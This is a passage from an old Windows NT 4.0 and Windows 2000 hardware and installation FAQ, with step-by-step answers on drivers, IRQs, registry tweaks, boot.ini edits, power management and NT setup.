A. The Windows 2000 Resource Kit has the GPOLMIG.EXE utility which can convert a NT 4.0 system policy .pol file to a Windows 2000 group policy object, this is a VERY useful tool!

For help just enter

C:\> gpolmig /?

The example syntax to migrate a system policy for the user policy would be:

C:\> gpolmig c:\temp\ntconfig.pol /migrate user user1 {00000000-0000-0000-0000-000000000000}User


Q. How do I change the letter associated with a drive?

A. From the Start Menu, select Administrative Tools and Disk Administrator. Right Click on the partition and choose "Assign Drive Letter", then just select the drive letter you wish to use. It is a good idea to recreate the Emergency Repair Disk after changing any drive information.


Q. How can I get NT to recognize my second harddisk?

A. Sometimes the Enhanced IDE (EIDE) adapter is misidentified as an ATAPI controller which loads the ATAPI.SYS driver. Disable this driver (Control Panel - Devices - Startup - Disable) and load the correct EIDE driver.


Q. How do I install a HP scanner?

A. There is full information on this at http://pw2.netcom.com/~gmelendz/index.html


Q. How do I install dual screens?

A. Windows 2000 has support for this, however in the mean time you are limited to certain graphics cards with specialty drivers, such as two Matrox Millenium cards. Multi monitor support is also provided by #9, Diamond MM, Dynamic Pictures and STB. Some even have single PCI slot solutions, such as some STB cards and Diamond FireGL 3000.


Q. How much memory can NT support?

A. NT is a 32-bit operating system which means it can support 2^32 amount of memory (4 Gigs). However NT splits memory into 2 parts, 2 gigs for the programs and 2 gigs for the Operating System. There are known to be some problems when having more than 64MB even in NT4.0, please see Q117373


Q. How much memory do I need for NT?

A. For NT Workstation on Intel 12MB is the minimum, however 16MB is the recommended min, 24MB will reduce virtual memory usage and increase performance. For RISC based processors 24MB is recommended, and 32MB to improve performance. Most NT people will say the real acceptable performance numbers are 40MB for NT Workstation and 64MB for NT Server. It really does depend on what you will be running on the server.

For NT Server 16MB is the minimum, however most sites have 32MB.


Q. I cannot see my CD-ROM drive from NT?

A. If it is a IDE CD-ROM Drive ensure you have the ATAPI CD-ROM driver installed (or one supplied with drive).

  1. In Control Panel, double click SCSI adapters (I know its IDE, but trust me)
  2. There should be a ATAPI CD-ROM driver, if there is not continue
  3. Click on the Drivers tab.
  4. Add, standard mass storage device, and select the ATAPI driver. If it is SCSI and you have a disk, click have disk and then select your drive.
  5. Click OK
  6. Reboot

If it is a SCSI CD-ROM ensure the correct SCSI driver is loaded.


Q. What are the IRQ's used for?

A. An Interrupt allows the piece of hardware to get the CPU's attention. For something like a Network card this is important as the card has limited buffer space so unless the CPU does not move the data out of the buffer it will get lost. Below is a table of the common IRQ uses.

IRQ Level | Common Use | Comments
0 | Timer | Hard-wired on motherboard
1 | Keyboard | Hard-wired on motherboard
2 | Cascade from IRQ 9 | May be available depending on Motherboard
3 | COM2 or COM4 |
4 | COM1 or COM3 |
5 | LPT2 | This is usually free as not many people have 2 parallel ports. Sound blaster cards usually use this.
6 | Floppy disk controller |
7 | LPT1 | Sound blaster cards can use this
8 | Real-time clock | Hard-wired on motherboard
9 | Cascade to IRQ 2 | Wired directly to 2, sometimes tell software 9 when mean 2
10 | Unused | This is usually used by Network cards, many of them not allowing it to be changed
11 | Unused | Usually used by SCSI controllers
12 | PS/2, Bus mouse | If you are not using a PS/2 or bus mouse this can usually be used by another device
13 | Math Coprocessor | Used to signal errors
14 | Hard disk controller | If you are not using an IDE hard disk you may use this for another device
15 | Some computers use this for the secondary IDE controller | If you do not use the secondary IDE controller you may use this for another device

Note about attempting to free IRQ's used by unused motherboard devices: if your BIOS lets you disable the device manually and doesn't get reset by any Plug-and-Play software you have (for instance, Windows 95), you are probably okay. Otherwise, you'll just have to experiment to determine whether you can really use the IRQ occupied by the unused motherboard device.


Q. How Many CPU's does NT support?

A. NT Workstation can support 2 CPU's, NT Server supports 4 CPU's, however the OEM version of NT Server can support up to 32 CPU's.


Q. Is there a list of hardware NT supports?

A. Microsoft has a NT hardware compatibility list at http://www.microsoft.com/hcl/ which covers both NT and Windows 2000.


Q. Can I test my hardware to see if it is compatible with NT?

A. It is possible to create an NT Hardware Qualifier Disk. Boot to DOS, and insert the NT CD-ROM and a blank formatted floppy disk. On the CD-ROM goto \SUPPORT\HQTOOL and run makedisk. Then just boot off of the floppy disk.


Q. Can I test my SCSI devices?

A. A tool is provided on the NT installation CD that will test SCSI adapters from Adaptec and BusLogic, to use this tool perform the following:

  • Goto CD-ROM:\Support\Scsitool
  • Insert a blank disk in the A drive
  • Run the MAKEDISK utility
  • Once finished, reboot the computer, using the newly created disk


Q. How do I disable mouse detection on a COM port (for UPS usage)?

A. Follow the steps below after first removing the UPS from the computer

  1. Start a command prompt (Start - Run - Command)
  2. Move to the boot partition
    c:
    cd\
  3. Change the attributes of boot.ini so it can be edited
    attrib boot.ini -r -s
  4. Edit the file (edit boot.ini) and for each line with multi(x) (for IDE) and scsi(x) (for SCSI) drives add at the end
    /noserialmice=comx ----------------------- where x is the com port number
    Exit edit
  5. Set the permissions back on boot.ini
    attrib boot.ini +r +s
  6. Shutdown NT and power off
  7. Attach the UPS
  8. Boot the machine and start NT, and NTDETECT will no longer try and search for a mouse on that com port

The /NoSerialMice switch only disables the Microsoft Serial Mouse device driver.

If you have installed any third-party mouse drivers, go into Control Panel - Devices and disable their Serial Mouse drivers as well. For example, if you installed the Logitech Mouseware V8.0 for a Trackman Marble, you must also disable the "Logitech Serial Mouse" device, called "lsermous" (note that the Arial lower-case l looks like a capitol i).


Q. Where can I get a driver for x?

A. If you have a piece of hardware that does not have a driver with NT you should check in two places, the maker of the hardware, i.e. for the Iomega Ditto goto www.iomega.com . If there is nothing there you should try the Microsoft site as they make the drivers for some hardware, for example the HP NT 4.0 drivers are made by Microsoft. If you cannot find the driver in either of these places then e-mail the technical support of the hardware maker, asking them for the driver, in some cases the driver is not on the web site, but they will e-mail it to you (makes a lot of sense :-))

For Iomega drivers can be downloaded from 1-800-998-0037.


Q. My U.S. Robotics 56K modem only connects at 19200.

A. The USR .inf that is supplied with NT defaults to and has a limit of 19200. Download the latest mdm3com.exe from USR which will allow the top speeds.


Q. Can I user the IDE interface on my sound card?

Q. Can I use the IDE interface on my sound card?

A. It depends if it is ATAPI 1.2 compliant. If it is, there should be no problems, however if it is not, it will not work and you will be unable to use this port.


Q. Does NT support Plug and Play?

A. In a limited sense. There is a driver that can be installed that will detect Plug and Play devices, however it is not supported and you will receive no support. To install the driver

  1. On the NT installation CD, goto the DRVLIB/PNPISA/I386 (or whatever you processor)
  2. Right click on the file pnpisa.inf and select install
  3. Reboot the machine

Installing the driver sets the following registry values:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pnpisa\Enum\Type - 0x1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pnpisa\Enum\Start - 0x1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pnpisa\Enum\ErrorControl - 0x0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pnpisa\Enum\DisplayName - "Pnp ISA Enabler Driver"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pnpisa\Enum\ImagePath - "system32\DRIVERS\pnpisa.sys"


Q. How do I install UPS?

A. Follow the instructions below:

  1. Start the control Panel (Start - Settings - Control Panel)
  2. Double click UPS
  3. Check the "Uninterruptible power supply is installed on" box
  4. Select the COM port the UPS is attached to be selecting from the drop down list
  5. Enter the settings in the UPS Configuration control group
  6. Enter any command line entries wanted, such as a command to page the manager of the machine of power loss.
  7. Click OK


Q. How do I give my tape drive a letter so it is visible from explorer?

A. NT on its own cannot do this, however there is a 3rd party "driver" that gives this functionality. For more information see http://www.tapedisk.com.


Q. How can I force NT to use a mouse on a given port?

A. When NT boots its hardware detection component checks all hardware and updates the registry, sometimes it may not detect the mouse however it is possible to force NT to use a mouse on a given port:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sermouse\Parameters
  3. From the Edit menu select New - DWord value
  4. Enter a name of OverrideHardwareBitstring and click OK
  5. Double click on the new value and set to 1 if the mouse is on Com1: or 2 if on Com2:
  6. Click OK and close the registry editor
  7. Reboot

For more information see knowledge base article Q102990 at http://support.microsoft.com/support/kb/articles/Q102/9/90.asp


Q. How can I view which resources devices are using under NT?

A. The easiest way to view resource usage by devices is to use the built in WINMSD.EXE utility supplied with Windows NT:

  1. Start the WINMSD.EXE utility (Start - Run - winmsd)
  2. Click on the resources tab
  3. You can then view any of the following:
    - IRQ
    - I/O Port
    - DMA
    - Memory
    - Devices
    By clicking the appropriate button
  4. When finished click OK to close WINMSD

You could also use the winmsdp.exe utility that is supplied with the resource kit. The command

winmsdp /i

will output the IRQ usage information to the file msdrpt.txt.


Q. When I disconnect one of my devices (e.g. Zip drive) I get errors when I boot NT, how can I stop them?

A. The warnings are there for a reason however if you want to stop them perform the following:

  1. Start the regsitry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<device>
  3. Double click on ErrorControl
  4. Change to 0 to disable error reporting, 1 to re-enable.
  5. Click OK
  6. Close the registry editor


Q. How can I tell if I am using the Compaq Hardware Abstraction Layer?

A. Compaq have their own HAL.DLL, designed in conjunction with Microsoft the Compaq version of the HAL.DLL takes advantage of the Compaq's hardware more effectively than the shipped Windows NT HAL.DLL.

This special HAL.DLL can be downloaded from http://www.compaq.com or from their download area at 713-518-1418. The current version is 1.20A and the filename is sp2465.exe.

To check which version of the HAL.DLL you have perform the following.

  1. Start Explorer (Win+E or Start - Programs - Explorer)
  2. Move to %systemroot%\system32 (e.g. d:\winnt\system32)
  3. Right click on HAL.DLL and select Properties
  4. Click the Version tab
  5. Examine the "File Version". If this value is 3.1, 3.5, 3.51 or 4.00 then HAL.DLL is the Microsoft version, any other would mean you are using a non-Microsoft HAL.DLL, e.g. Compaq.


Q. How do I get a dual monitor Matrox Millenium system to not split dialog boxes across the screens?

A. Perform the following:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mgax64\Device
  3. Double click User.CenterDialogs.
  4. Change from 00000000 to 00000001
  5. Click OK
  6. Close the registry editor
  7. Reboot the machine

From the release notes this no longer works in 4.0 but does for 3.51 systems.


Q. How can I suppress the error message generated if my ZIP drive is not connected?

A. This is a function of the Iomega Zip service (PPA3NT, obvious name!) and error announcement can be disabled by performing the following:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ppa3nt
  3. From the Edit menu select New - DWORD value. Enter a name of ErrorControl and press ENTER
  4. Double click the new value and set to 0.
  5. Close the registry editor
  6. Reboot the machine for the change to take effect


Q. Does Windows NT 4.0 support USB?

A. Universal Serial Bus is the new external bus standard for the connection of PC peripherals. The idea behind USB is it will be plug and play and as devices are connected they will automatically be detected and installed.

Windows NT 4.0 does not provide built in USB support, you will need to wait for Windows 2000 or switch to Windows 98. Some boxes convert the USB devices into serial ports.

Inside Out has produced USB cards and hubs for NT 4.0, see http://www.ionetworks.com/press/nt.html although these are limited.

http://www.ltitl.com/ has announced they are developing a Windows NT 4.0 USB driver:

"Hello Everybody,

We at Larsen and Toubro Information Technology Limited,India are glad to inform that we have developed basic USB support for Windows NT 4.0. This has been tested with a USB Joystick.

This comes as a GREAT relief to all those who have been frantically searching for USB support on Windows NT 4.0. So here we are, ready and more than happy to help you enhance the capabilities of your USB devices which can range from scanners (HP, etc), Cameras, keyboard, mouse, etc for Windows NT 4.0.

Since we are conversant with USB, we can develop USB device drivers for other operating systems also."


Q. Why can't I hot swap my PCMCIA card with Windows NT 4.0?

A. Windows NT 4.0 does not support hot swap capabilities for PCMCIA cards -- the card must be inserted at boot. This support will be supported Windows NT 5.0. If you need these capabilities with Windows NT 4.0, you can use a third party package, such as SystemSoft's CardWizard product. For more information, check out their web site at www.systemsoft.com.


Q. How do I install a ZIP drive under NT?

A. There are different types of ZIP drivers, internal, external, ZIP-PLUS and all of this will work under Windows NT 4.0.

If you have an internal ZIP drive just ensure you have Service Pack 3 or later installed which provide built in support for internal ZIP drives and will display the drives in Explorer as "Removable drive".

If it is an external ZIP drive you will need to download and install the correct drivers from http://www.iomega.com. All downloaded drivers/tools are self extracting and contain good install instructions.


Q. How do I enable Bus Mastering in Windows NT?

A. Windows NT 4.0 has native bus mastering support with Service Pack 3. To enable bus mastering in Windows NT 4.0 perform the following:

  1. Ensure you have Service Pack 3 installed and you have the Service Pack 3 CD-ROM
  2. Run the DMACHECK.EXE utility in support\utils\i386\ directory of the CD-ROM or download from http://support.microsoft.com/download/support/mslfiles/Dmachcki.exe.
  3. When DMACHECK.EXE is run, it will indicate whether DMA is enabled on either IDE channel. Click on the Enabled radio button to enable DMA for each drive and any other DMA-capable devices in the system.
  4. Reboot the system.
  5. Execute the DMACHECK utility again to check that DMA was enabled.
  6. If the drive is DMA-capable and DMA is not enabled at this point, this failure must be corrected before proceeding

The DMACheck util uses a registry setting - 0 is for disabled, 1 is for enabled, but if you enter 2 as the setting it will force NT to use DMA if the hardware supports it. You may get better performance from drivers supplied with the motherboard rather than the DMACHECK.

So Intel and Microsoft do officially support DMACHECK. See also

  • http://www.microsoft.com/hwtest/faqs/storqa.htm
  • http://support.microsoft.com/support/kb/articles/q191/7/74.asp
  • http://www.bmdrivers.com
  • http://www.benchtest.com/

DMACHECK.EXE IDE BusMaster is very important : you can read or write on disk without using 100% of CPU (like SCSI)


Q. I said no to a PNPISA device now I want to install it.

A. If you have installed the PNPISA driver which enables NT to use some plug and play devices and upon reboot said no to install some devices it will not ask you again.

If you later decide you DO want to install the device it is necessary to make NT "forget" that it has ever seen it before. Each PNPISA device has an entry under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pnpisa and so do make NT forget about a device just delete its key.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pnpisa
  3. Each device using pnpisa.sys should have a subkey under ISAPNP. Creative Labs uses a prefix of CTL for the subkey name. You'll be able to tell which key is for what device by looking at a description value defined in the subkey.
  4. Delete the subkey whose hardware you want to install
  5. Close the registry editor
  6. Reboot the machine

Upon reboot you will be able to install the device.

For more information on installing the driver see Q. Does NT support Plug and Play?


Q. How do I perform unattended installations on machines with AGP graphics cards?

A. An update HAL.DLL is needed to support machines with AGP graphics cards and a PCI bridge. One such HAL is supplied with Service Pack 3 so you need to replace the standard HAL.DLL shipped with NT with the Service Pack 3 version.

  1. Create a share with the Windows NT installation files
  2. Rename the HAL.DLL file to HAL.OLD
  3. Copy HAL.DLL off of the Service Pack 3 (or above) CD into the directory
  4. Install as normal
  5. Install Service Pack 3 once installation is complete

Some Intel boards have a fault and a patch is available from Intel. Without this patch installed, a user will be able to get only hardware refresh-rate VGA with even a high-end graphics card. The hitch, however, is that the patch will only install on Service Pack 3 or later builds of NT.


Q. Does NT support DVD drives?

A. Windows NT 4.0 does not natively support DVD drives where as Windows 2000 does for data reading and for playing movies.

Creative Labs have released a Windows NT 4.0 driver for their DVD product and can be downloaded from http://www.soundblaster.com/ and many other supplies have followed suit so check your DVD manufactures web site.


Q. How can I check the amount of physical RAM in my machine?

A. There are loads of methods to get this information.

  • Right click on My Computer and select Properties. The General tab shows the amount of memory
  • Run WINMSD.EXE and select the Memory tab

From the command line you can use

  • PSTAT.EXE (part of the resource kit), the first line shows the amount of RAM
  • Download MEMORY.EXE from http://www.savilltech.com/download/memory.zip which just displays the physical memory and nothing else (you can use the /s switch and it will only show the number, no other text, this is useful for information gathering), e.g.

C:\> memory /s
66506752


Q. How can I safely disable a device?

A. When you disable a device you may have to reboot and many of us would have experienced upon reboot the Blue Screen of Death and we are stuck. Below is a method to allow you to test the system without the device.

  1. Right-click My Computer and choose Properties.
  2. Select the 'Hardware Profiles' tab.
  3. Click Copy and give the profile a name (e.g., Device Test).
  4. Click OK and go back to Control Panel/Devices and disable the device you want to test using the "Device Test" profile.
  5. Restart your system and when the Hardware Profile/Configuration Recovery screen comes up, choose Device Test Profile and let it continue to boot.

Disabling a device

If you don't see a blue screen of death, this configuration is probably safe. If you get the blue screen, shut the computer off and when it comes back up, choose Original Configuration and let it continue to boot. You can then go back into Control Panel and enable that device again.


Q. How can I make NT see more than 8 units on SCSI?

A. By default Windows NT 4.0 will only detect the first eight logical units on a SCSI device.

This has been fixed in Service Pack 5 with the following action:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<Driver Service Name>\Parameters\Device<N>
  3. From the Edit menu select Add - DWORD value
  4. Enter a name of LargeLuns and press Enter
  5. Double-click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Restart the machine

NT will now support up to 255 SCSI units.


Q. Does Windows support the Promise Ultra ATA/66?

A. The Promise Ultra ATA/66 is an IDE interface card which with newer hard disks you can have 66MB/s transfer times.

Promise have produced drivers for Windows NT 4.0 which can be downloaded from http://www.promise.com and there is now a special version for Windows 2000, however as of build 2114 a built in driver for the Ultra ATA/66 is supplied and works great. If you move from IDE to the Promise card you will need to change your boot.ini file from the multi() to the scsi() syntax.

If you perform an in-place upgrade of NT 4.0 with the promise ultra 66 card/driver installed to Windows 2000 (2031) Pro it works absolutely perfectly with the Promise Card. In Device Manager, the Ultra 66 card is listed correctly under SCSI devices, and under driver details, you will get "c:\winnt\system32\drivers\ultra66.sys" with a file version of 1.42 (build 0218), by Promise Technology, Inc. You should update to the new Windows 2000 driver once installation has completed to be on the safe side.


Q. How do I enable Hibernate on my machine?

A. Like Windows 9x, Windows 2000 has full support for APM (Advanced Power Management) which basically allows the operating system to instruct the computer to go into a suspend state or actually switch off. It does this through a special ACPI (Advanced Configuration and Power Interface) HAL (Hardware Abstraction Layer) which is uses if it detects the BIOS supports ACPI.

ACPI is the foundation for the OnNow industry initiative that allows system manufacturers to deliver computers that will start at the touch of a key on a keyboard.

ACPI design is essential to take full advantage of power management and Plug and Play in Windows 2000.

Hibernate allows the machine to save its current state to disk and then power off. When you power the machine back on it will reload its old state meaning any applications/files that were open will still be running and you will lose nothing.

What hibernate basically does is dump out the contents of memory to a file, c:\hiberfil.sys (which is slightly bigger than the amount of memory in the machine).

To enable hibernate support perform the following:

  1. Start the Power Options control panel applet (Start - Settings - Control Panel - Power Options)
  2. Select the Hibernate tab
  3. Check the 'Enable hibernate support' box
  4. Click Apply then click OK

The dialog shows the exact amount of memory that will be used for the hibernate file (hiberfil.sys).

Once enabled when you select Shutdown there will be an addition option of "Hibernate" which will write out the memory to disk and power off the machine. When you turn it back on you will see a "Resuming Windows" message and (by default) it will ask for the password for the user who locked it (or an Administrator account and password).

You should make sure that your laptop has been updated to the most recent manufacturers BIOS before attempting to set hibernate options on Win2K. If this isn't done, then hibernate may work correctly or it may not depending on how up to date your BIOS is. Each manufacturer's BIOS details should be available on that manufacturers web site.


Q. How do I enable/disable passwords when resuming from hibernate/standby?

A. In 'Q. How do I enable Hibernate on my machine?' we saw how to enable hibernate and said that by default upon restart you need to enter a password however this can be changed as follows:

  1. Start the Power Options control panel applet (Start - Settings - Control Panel - Power Options)
  2. Select the Advanced tab
  3. Check/uncheck the 'Prompt for password when computer goes off standby'
  4. Click Apply then OK


Q. How can I put my machine in 'standby' mode?

A. Portable computers that support APM (Advanced Power Management) will have the ability to go into standby mode.

While on standby, your entire computer switches to a low power state where devices, such as the monitor and hard disks, turn off and your computer uses less power. When you want to use the computer again, it comes out of standby quickly, and your desktop is restored exactly as you left it. Standby is particularly useful for conserving battery power in portable computers. Because Standby does not save your desktop state to disk, a power failure while on Standby can cause you to lose unsaved information so its best to save any open documents before going into standby.

A small amount of power is still used as the machine is not totally turned off as it has to maintain the memory state so any programs running when put in standby will still be active.

To put your machine in standby mode manually select 'Stand by' from the shutdown menu. Some portables will also support tapping the power button which will also but in suspend mode rather than powering off but check the manual.

You can also configure the machine to automatically go into standby or hibernate after x minutes using the Power Options control panel applet.


Q. Does the new Microsoft IntelliPoint software 3.0 software install on NT/Windows 2000?

A. The new Microsoft mice use IntelliPoint 3.0 software which runs under Windows NT with Service Pack 3 installed. The software is not currently supported under Windows 2000 however you can install with the following command:

C:\> <CD ROM>:\setup\setup setup win2000
e.g. d:\setup\setup setup win2000

I would expect to see a Windows 2000 version of the IntelliPoint software shortly.

You cannot use the USB connection in Windows NT 4.0 but it works fine in Windows 2000.

B.T.W. The new Microsoft IntelliMouse Explorer is very cool :-)

An update, http://www.microsoft.com/products/hardware/mouse/driver/drivers_pc.htm is now available which runs on Windows 2000.


Q. Does the new Microsoft IntelliType Pro software install on NT/Windows 2000?

A. The new Microsoft keyboards with the IE extra buttons use IntelliType software which runs under Windows NT with Service pack 3 installed and Windows 2000. When used with Windows 2000 you do not get the on screen display when pressing the keys such as 'Volume Up' but they still work, all except for the Computer and Calculator keys which do not currently function.

You cannot use the USB connection in Windows NT 4.0 but it works fine in Windows 2000. As a side note if you are using Windows 2000 and the keyboard in the USB hub you may need to enable legacy USB support in the BIOS to allow it to "see" a USB keyboard during bootup.

IntelliType 1.1 released which runs on Windows 2000. http://www.microsoft.com/products/hardware/keyboard/download/pc/download_PC.htm


My PNP PCI cards do not all work in Windows NT.

Q. My PNP PCI cards do not all work in Windows NT.

A. There are some problems with BIOS settings when NT is being installed on a machine designed for Windows 95/98

There have been a number of cases where frustrated users had trouble installing network cards and such for NT on machines designed for windows 95/98 (like HP Pavillion, etc). Usually, there is a simple BIOS setting that lets you specify whether the OS is PNP compliant. Setting this to "No" or "Other" usually takes care of most problems.


Q. How do I enable bus mastering (DMA) in Windows 2000?

A. DMA support is included in Windows 2000 however it is not enabled for the devices by default and so requires configuration. Enabling DMA if supported will result in performance gains.

  1. Right click on My Computer and select Properties
  2. Select the Hardware tab and select 'Device Manager'
  3. Expand 'IDE ATA/ATAPI controllers'
  4. Right click on 'Primary IDE Channel' (and secondary if available)
  5. Select 'Advanced Settings'
  6. For Device 0 and Device 1 under Transfer Mode select 'DMA if available'
  7. Click OK
  8. Click OK to the main system properties
  9. Click OK to reboot the computer


Q. How do I set the DVD region in Windows 2000?

A. Windows 2000 provides built in DVD support and will keep track of the DVD region but needs to be set initially as follows. After setting you are allowed to change it once more using the same method.

  1. Start Device Manager (Right click on My Computer - Properties - Hardware tab - Device Manager)
  2. Expand 'DVD/CD-ROM drives'
  3. Right click on the DVD drive and select Properties
  4. Select the 'Advanced Settings' tab
  5. Select you region and click OK
  6. Click OK to the confirmation
  7. Click OK to all other dialogs

If you have other drivers for hardware/software that tracks region then these also need to be set.


Q. How do I reset the DVD region count?

A. Windows 2000 keeps track of the DVD region and after its initial setting you are allowed to only change it once more. Its possible to reset the counter by performing the following registry change:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
  3. There will be a subkey (the first) of a strange format, e.g. ';t-z% with a single REG_QWORD value
  4. Select the key and delete
  5. Restart the computer

Upon restart you should be able to modify the region again.


Q. How do I disable bus mastering on the 3COM 3C590 card?

A. Its possible to disable bus mastering on the 3C590 to alleviate any possible busmaster contention. To disable perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EL59X1 (if you have multiple adapters you will also have EL59X2 etc)
  3. Select the Parameters key (if the key does not exist create it)
  4. From the Edit menu select New - String value
  5. Enter a name of Busmaster and press enter
  6. Double click the new value and set to 'NO' (don't type the quotes)
  7. Click OK
  8. Restart the computer

Upon restart there should now be a system event:

"Busmaster support has been turned off for slot XX."

A newer version of the driver can be found at http://support.3com.com/infodeli/tools/nic/3C590.htm#ship


Q. How do I install NT Workstation 4.0?

A. The installation of NT is quite simple, and below is just a simple example of an installation of a Workstation using TCP/IP and NetBEUI connected to a Domain.

  1. Insert the first NT installation disk an boot the computer
  2. You will have to put in Disk 2 and then press Enter.
  3. You will be given a choice of options. Choose "Setup Windows NT" by pressing Enter
  4. Press Enter to Detect Hardware and you will have to insert Disk 3.
  5. When the detection is finished, if you have extra drivers to install, insert the OEM disk and press S to specify addition devices.
  6. Once all drivers have been installed read the license agreement by scrolling down using the page down key and press F8 to agree at the end.
  7. You will be shown a list of all hard disks and partitions. You can create partitions from here. Select the partition you want to install on and press enter
  8. You will be asked which file system to use. You can format FAT or NTFS. If you choose NTFS it will format it FAT and schedule a conversion later on in the installation process.
  9. Select the directory name (you can except the default of winnt) and press enter
  10. Allow the setup program to check the harddisks for errors, press enter
  11. A number of core files will be copied to the disk and then you will have to reboot the machine
  12. Once the machine has rebooted you will now be in the graphical portion of the installation procedure
  13. Click Next for the installation procedure to check the pc
  14. Next select the type of installation, in this case I select Custom
  15. You will be asked for your name and organization (this can be changed later by editing the values RegisteredOrganization and RegisterOwner from the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion key). Click Next.
  16. You will be asked for the CD Key which is on the back of the NT installation CD-ROM case on the yellow sticker
  17. Enter a Computer Name and click Next
  18. Enter an Administrator password and click Next
  19. Choose if you want an Emergency Repair Disk and click Next
  20. Select the components you wish to install such as Messaging and click Next
  21. Click the Next button to start the Networking setup
  22. Select the connection type, in this case "Wired to the network" and click Next
  23. If wired to the network was chosen you will be asked for the adapter type. You can click Detect. If it fails to find the device click "Select from List" and choose. Click Next
  24. Select the protocols you wish to install, in this case TCP/IP and NetBEUI and click Next
  25. You will be shown the Network services and again click Next
  26. If you installed TCP/IP you will be asked if you want to use DHCP. DHCP is a process where TCP/IP addresses are given out as needed and can help with the administration of the network. In this example I will say No.
  27. Enter the IP address, subnet mask and gateway if applicable. Also clicking on the DNS tab will allow you to specify any DNS servers and enter you domain (e.g. savilltech.com). Click OK
  28. Click Next for services, and then click Next to start the Network
  29. Once the Network has been started you will be asked if you are to operate in a domain or workgroup. Click the Domain choice box and enter the domain name. If the Domain Administrator has already added your computer name to the Domain (Using Server Manager) then just click Next. If not click "Create account in Domain" and you will have to enter a Domain Administrator and password.
  30. Click Finish
  31. Select your time Zone and click close
  32. The last part will detect your graphics card. If correct click OK, however if it misdetects just click Cancel and it will leave the standard VGA driver.
  33. Click Restart Computer

You now have NT Workstation installed :-).


Q. How do I install NT Server?

A. The installation of NT Server is the same as NT Workstation with a few exceptions

  • You will need to choose the role of the NT Server, Server, PDC or BDC. Once this is set it cannot be changed
  • Option to install Internet Information Server
  • Choose a license mode, per server or per seat


Q. I want to install DOS and Windows NT, how should I do this, and how should the hard disk be partitioned.

A. The best method is two create at least two partitions. The first around 200Mb and format to FAT, on this partition DOS will be installed. The reason 200Mb is suggested that this is enough space to later install Windows for Workgroups or Windows95 if needed. After installing DOS, install NT and install onto the second partition (and format FAT or NTFS). Once the installation is finished, on bootup of the machine you will have a choice of booting into DOS or NT. The advantage of having NT installed on a FAT partition is that if there is a problem then you can boot up in DOS mode and access the NT partition and possibly restore files, although that core NT startup files are located on the C partition anyway (boot.ini, ntdetect.com and ntldr).


Q. Installation hangs when detecting the hardware.

A. The program being called is NTDETECT.COM. The best course of action is to use the DEBUG version of NTDETECT.COM.

In the support area of the NT installation cd (/support) there is a file NTDETECT.CHK. Follow the instructions to use it:

  1. Using the Diskcopy command create a copy of the first installation disk
    diskcopy a: a: (/v)
    This will create a copy of the first installation disk
  2. Copy the NTDETECT.COM from the support CD to the installation disk
    copy d:\support\ntdetect.chk a:ntdetect.com
  3. Then reboot the machine with the new version of the installation disk and each item will be shown as it is detected.


Q. Is it possible to install NT without using boot disks or temp files?

A. On many new BIOS's it is possible to specify an IDE CD-ROM as a boot device and the latest versions of the NT installation media have the files needed to boot directly from the CD-ROM. If you BIOS does support the CD-ROM as a boot device just insert the CD and boot the computer.

If you have a SCSI CD-ROM Drive, it can be booted from the CD if the SCSI Bios (such as from Adaptec) support it.

If you cannot boot from the CD-ROM, you can either have it not using disks (winnt(32) /b) or not using temp files but not both.

On the Alpha platform, it is possible to boot from the retail or MSDN CD of NT 4.0 and install so no boot disks or temp files are used.


Q. Does NT have to be installed on the C drive?

A. No, NT can be installed on any drive, however it does place a few files on the active partition in order for NT to boot.


Q. There is a file ROLLBACK.EXE. What is it?

A. It is used by developers to wipe the Registry completely. Do NOT use it!


Q. I have NT installed, how do I install DOS?

A. Follow the steps below

  1. Make an emergency repair disk (rdisk - Update Repair Info)
  2. Ensure you have NT installation disks (can make by winnt32 /ox)
  3. Reboot the machine and boot off of the MS-DOS disks
  4. Install DOS (same as doing a SYS a: c: from a dos bootable disk)
  5. Machine will reboot into DOS
  6. Reboot Machine and boot off of NT installation disks
  7. After 2 disk will give options, press R for repair
  8. Deselect all options except "Inspect Boot Sector" and continue
  9. Press Enter to detect hardware and insert disk 3
  10. The procedure will ask if you have an Emergency Repair Disk (ERD), say Yes and insert the ERD.
  11. The machine will then reboot into NT again
  12. Once in NT goto a DOS session
  13. Type - attrib c:\boot.ini -r -s
  14. edit boot.ini and insert at the bottom
    c:\="MS-DOS"
  15. Type - attrib c:\boot.ini +r +s
  16. Reboot the machine and you will have MS-DOS and NT options! Easy :-)

The procedure above will only work if the C drive is FAT.


Q. How do I convert NT Workstation to NT Server?

A. There are various discussions about the changing of 2 registry keys that turns a Workstation into Server, which in turn change a number of other keys, however this is against license agreements and should not be attempted.

Workstation can be upgraded to a Server, but it cannot become a PDC or BDC, to do this a fresh installation of NT server would be needed. To convert follow steps below

  1. Boot off of the NT Server installation disks (or make them with winnt(32) /ox)
  2. Press Enter to Setup NT
  3. Press Enter to Detect Hardware
  4. Press Enter to continue (or S if you have special drivers)
  5. Accept the license (Page Down then F8)
  6. NT install will detect the existence of workstation and ask if you want to upgrade. Press Enter
  7. It will prompt if you want to upgrade from Workstation to Server. Press Enter
  8. Continue as normal. All Workstation components (Network, print) will be converted to server
  9. When finished you will have NT Server and it will have kept all programs and groups.

